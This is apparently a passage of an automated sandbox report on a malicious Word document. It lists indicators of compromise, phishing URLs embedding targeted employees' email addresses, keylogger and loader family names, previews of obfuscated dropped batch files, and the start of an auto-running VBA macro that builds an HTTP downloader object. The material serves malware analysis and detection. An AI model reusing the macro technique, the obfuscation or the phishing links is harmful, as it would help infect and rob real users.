	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
mail.techniqueqatar.com	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.176
checkip.dyndns.com	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZT0KQ1PC.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	RisingStrip.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
PUBLIC-DOMAIN-REGISTRYUS	http://www.technoafriwave.rw	Get hash	malicious	Unknown	Browse	207.174.214.183
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.115
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.176
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	v4BET4inNV.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	208.91.198.106
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Quote_8714.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
UTMEMUS	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	armv5l.elf	Get hash	malicious	Unknown	Browse	132.244.2.45
	31.13.224.14-x86-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	132.226.42.231
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	132.226.227.252
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
AS-26496-GO-DADDY-COM-LLCUS	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	fuckunix.arm.elf	Get hash	malicious	Mirai	Browse	50.62.7.191
	Josho.x86.elf	Get hash	malicious	Unknown	Browse	72.167.237.175
	DRlFlg7OV8.lnk	Get hash	malicious	Unknown	Browse	166.62.28.147
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	192.169.229.195
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	148.72.251.75
	https://chamberoflearning.com/n/?c3Y9bzM2NV8xX25vbSZyYW5kPU1uZ3phbkk9JnVpZD1VU0VSMTcxMjIwMjRVNTkxMjE3Mjk=N0123NCA_A8_CHF@emfa.pt	Get hash	malicious	Unknown	Browse	216.69.174.68
	https://www.gglusa.us/	Get hash	malicious	Unknown	Browse	68.178.157.109
	armv7l.elf	Get hash	malicious	Mirai	Browse	192.186.210.173
	armv6l.elf	Get hash	malicious	Unknown	Browse	68.178.185.215

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	adguardInstaller.exe	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	jaTDEkWCbs.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	149.154.167.220
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\jphwmyiA.pif	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	HSBC_PAY.SCR.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	PO_KB#67897.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse
	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse

Created / dropped Files

C:\Users\Public\Aiymwhpj.url

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Aiymwhpj.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.224478603849098
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM667ysbxRn:HRYFVmTWDyzv6OExRn
MD5:	79AC659ACFEF37B78BB99148F2AC4411
SHA1:	A1E40AD9CDBAA0045BAE5B735F17A7696A8A0573
SHA-256:	E15C4E5C35CA402FEC6714794F894B2B8C6D65B900F19346C56122DAB721A2AF
SHA-512:	6D3D00B91DAA741B7C1E895C85F6CF8912628C3189CF0BFA35F10508AD7D6C0FEF645B8928938BCC669B076C4F7A6575D24224C649F50F124D2AACB9DB96A6A9
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Aiymwhpj.PIF"..IconIndex=923753..HotKey=90..

C:\Users\Public\AiymwhpjF.cmd

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15789
Entropy (8bit):	4.658965888116939
Encrypted:	false
SSDEEP:	384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
MD5:	CCE3C4AEE8C122DD8C44E64BD7884D83
SHA1:	C555C812A9145E2CBC66C7C64BA754B0C7528D6D
SHA-256:	4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
SHA-512:	EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
Malicious:	false
Preview:	.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

C:\Users\Public\Libraries\Aiymwhpj

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	data
Category:	dropped
Size (bytes):	587483
Entropy (8bit):	7.97941698770942
Encrypted:	false
SSDEEP:	12288:+cZzMs7baCyZxlymn17OtgtNXR1Fye2D69AEhIKb4u/k:+cpBbR+lyG17mgtNPae9XIA/k
MD5:	CBCC38C75EFFD12EDFBFE3A42776952D
SHA1:	15888D1A926BE2E5169CCF5B2C6C44149EA478A7
SHA-256:	43B4EDAED35A38B6304187C67BE1BEDA3F18769CDB06902BCFFB7BE597AC72A5
SHA-512:	7A45405A506D59FF89056388809C7EF11F09A2C04661DEE3C6E8C0F82E7C1E230F77B98D4CCC9F3996173ED848C38FC8379337313D4A13CCD1E76CAE4D2696C7
Malicious:	true
Preview:	.By.1.f.>...vB..X.'n...N.......B......-.$$....0....A.&&....-%.W..Ca..N..7b..R. +N..]..3X..X..HC.xF..T+.p4\|.R7.hAm.M.5.T{..J.Q.Y..g.X6...`.....Ol+..t.S.;...>^}0.m.0O.z9.yt.:..Q....K._...T.\|@...5......A......T!..x.uN......$$\..h..+^.....Bc.V.....H......}.N.q...9f.l...>RB....(".....]...d./ !o.[.....X..$$...!.....y-o9%.._^..f..Ih.W.A..S4..0...V..&$..V8..M..[76..N.O.\.e.#.t.V.D..gG.J...b0.e...g.0.r.@.N....W. .nx!Q.b....Z.^....3jiN..je#......:......L7..!...T+x@i..:'.H../&$.[.~.Y....h.[.. .x.....>&$%....+...,.R....K....Gz...........'..E\....W.Z....c.f..".'U7..1..SF...5J.\|1..1M.r4.9.A.}Y.%.J.`....o.2k.Ecr.=u.=Uu....mm.5.-.q..=.$$~....GhAh..j-.....g..d....d.........+..... .....7.).j..It4..%G...w..d.l.i.R.S..p/.+.8.jz.>.E...P.[.{..]).%b:.x3x,....-.:&$..Kz.C/.r.}&$)=.\|U..Ca..g.$&.j..C..Q+.ey..KL..)pI....%.+....B..=..m.\C.i5....u.... k...O..l..8......,.....C.....}6......-Y.5....=...p..H.."@...N..s.>....1%..lm.......G.e....].(h.\|.9x-%;..]pN.

C:\Users\Public\Libraries\Aiymwhpj.PIF

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1161216
Entropy (8bit):	7.246990828069092
Encrypted:	false
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
MD5:	6047499517804F1EA76B508CA469DE99
SHA1:	BA5E8A683C8B8B54A14984D86715040D00777F11
SHA-256:	03B17E6FE6CE874C0CF78B2E560F5FB4106E07CE33799632B2E1BBF24E9FB371
SHA-512:	A617FD0131D75361D20423B0BC77B6EE65FE071FECF8A9FAB7EA42BE7F9716113468AF15369981F7F652A39F6AA7A77250E2E02783549DA2FCBC54D93821A76F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................@...................@...........................P..n&... ...........................\|..................................................TW...............................text............................... ..`.itext..H........................... ..`.data...@........ ..................@....bss.....6...............................idata..n&...P...(..................@....tls....4................................rdata..............................@..@.reloc...\|.......~..................@..B.rsrc........ ......................@..@.............@......................@..@................................................................................................

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8556
Entropy (8bit):	4.623706637784657
Encrypted:	false
SSDEEP:	192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
MD5:	60CD0BE570DECD49E4798554639A05AE
SHA1:	BD7BED69D9AB9A20B5263D74921C453F38477BCB
SHA-256:	CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
SHA-512:	AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
Malicious:	true
Preview:	@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	46543
Entropy (8bit):	4.705001079878445
Encrypted:	false
SSDEEP:	768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
MD5:	637A66953F03B084808934ED7DF7192F
SHA1:	D3AE40DFF4894972A141A631900BD3BB8C441696
SHA-256:	41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
SHA-512:	2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
Malicious:	false
Preview:	@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

C:\Users\Public\Libraries\jphwmyiA.pif

Download File

Process:	C:\Windows\SysWOW64\brightness.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175800
Entropy (8bit):	6.631791793070417
Encrypted:	false
SSDEEP:	3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
MD5:	22331ABCC9472CC9DC6F37FAF333AA2C
SHA1:	2A001C30BA79A19CEAF6A09C3567C70311760AA4
SHA-256:	BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
SHA-512:	C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: PI ITS15235.doc, Detection: malicious, Browse Filename: PO#5_Tower_049.bat, Detection: malicious, Browse Filename: HSBC_PAY.SCR.exe, Detection: malicious, Browse Filename: PO_B2W984.com, Detection: malicious, Browse Filename: image.exe, Detection: malicious, Browse Filename: PO_KB#67897.cmd, Detection: malicious, Browse Filename: Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe, Detection: malicious, Browse Filename: Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe, Detection: malicious, Browse Filename: RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe, Detection: malicious, Browse Filename: Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............\|..8...,...@...@..@

C:\Users\user\AppData\Local\Temp\~DFD49D79A280DD3CA3.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$T # KRPBV2663 .doc

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.8584355907719186
Encrypted:	false
SSDEEP:	3:klt+lll9OQs/RFu/t/HlNc9+RT5t:7tfs/RFuF/0wRFt
MD5:	55EFF8AE525CB6216C40FF246F8A2232
SHA1:	D14E7C499B084C53E99AA268239C43071F1A0602
SHA-256:	18574D1DEF50BD820D257F36C330FE8912FFAE51D64D38EFEC561656876A14FB
SHA-512:	870C2C54C418D6B56E91FECC280FBCE11B77F931A29FB52E700475DAD281912C10D719150B0E236C193478B216165DFA86092D41C5C5EFFB717E2451BE8186B2
Malicious:	false
Preview:	.user.................................................a.l.f.o.n.s............`.c.........a.i........4F...................................`.c4"/.}..i....@....=.i

C:\Windows\SysWOW64\brightness.exe

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1161216
Entropy (8bit):	7.246990828069092
Encrypted:	false
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
MD5:	6047499517804F1EA76B508CA469DE99
SHA1:	BA5E8A683C8B8B54A14984D86715040D00777F11
SHA-256:	03B17E6FE6CE874C0CF78B2E560F5FB4106E07CE33799632B2E1BBF24E9FB371
SHA-512:	A617FD0131D75361D20423B0BC77B6EE65FE071FECF8A9FAB7EA42BE7F9716113468AF15369981F7F652A39F6AA7A77250E2E02783549DA2FCBC54D93821A76F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................@...................@...........................P..n&... ...........................\|..................................................TW...............................text............................... ..`.itext..H........................... ..`.data...@........ ..................@....bss.....6...............................idata..n&...P...(..................@....tls....4................................rdata..............................@..@.reloc...\|.......~..................@..B.rsrc........ ......................@..@.............@......................@..@................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Nadine Daniel, Template: Normal.dotm, Last Saved By: GRACE, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sun Jan 5 21:34:00 2025, Last Saved Time/Date: Sun Jan 5 21:34:00 2025, Number of Pages: 1, Number of Words: 348, Number of Characters: 1985, Security: 0
Entropy (8bit):	4.315631656351978
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	ITT # KRPBV2663 .doc
File size:	52'736 bytes
MD5:	754c08a32cbfe16e0982b5b56835e247
SHA1:	7338cada263faae3d79631efa1c895bf690a4eb3
SHA256:	d9980559077d0cf6e251608efa44277ac5cd2b64236ecc31b352a93992e2f2b7
SHA512:	6cc3a3a351b58cb5763a745b07a492aaf944e1526a49c3f6da7135e6295a701e7f526c052fcf4961af7a08756f51226f5fbecb4e242d8fdde0f61fa1717772e1
SSDEEP:	384:Zp0xfMJvBv2xv8R89JMjN6m4iKpIEOqY+tKiSsqdg1vA9tzt/Mi+P0jN4pfZt8Fs:ZkUJJU6wVoJ+1o9t1MRi4pQmv+SWw
TLSH:	E8333121B2C2CE2BE0264875C989C7747725FDABAE95460735C97F1F7C3EA209A43B50
File Content Preview:	........................>.......................O...........R...............N..................................................................................................................................................................................

File Icon


Icon Hash:	35e1cc889a8a8599

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "ITT # KRPBV2663 .doc"

Indicators

Has Summary Info:
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Title:
Subject:
Author:	Nadine Daniel
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:	GRACE
Revion Number:	2
Total Edit Time:	0
Create Time:	2025-01-05 21:34:00
Last Saved Time:	2025-01-05 21:34:00
Number of Pages:	1
Number of Words:	348
Number of Characters:	1985
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Document Code Page:	1252
Number of Lines:	16
Number of Paragraphs:	4
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	983040

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 4808

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	4808
Data ASCII:	. . . . . . . . V . . . . . . . . . ] . . . . . . . . . . . . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S " . . . . S . . . . . S " . . . . . < . . . . . . . . . . ( . 1 . N . o . r . m . a . l . . . T . h . i
Data Raw:	01 16 01 00 01 f0 00 00 00 56 05 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 5d 05 00 00 81 0f 00 00 00 00 00 00 01 00 00 00 ac 11 04 75 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 
Dim xHttp:
'this is a comment



Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")
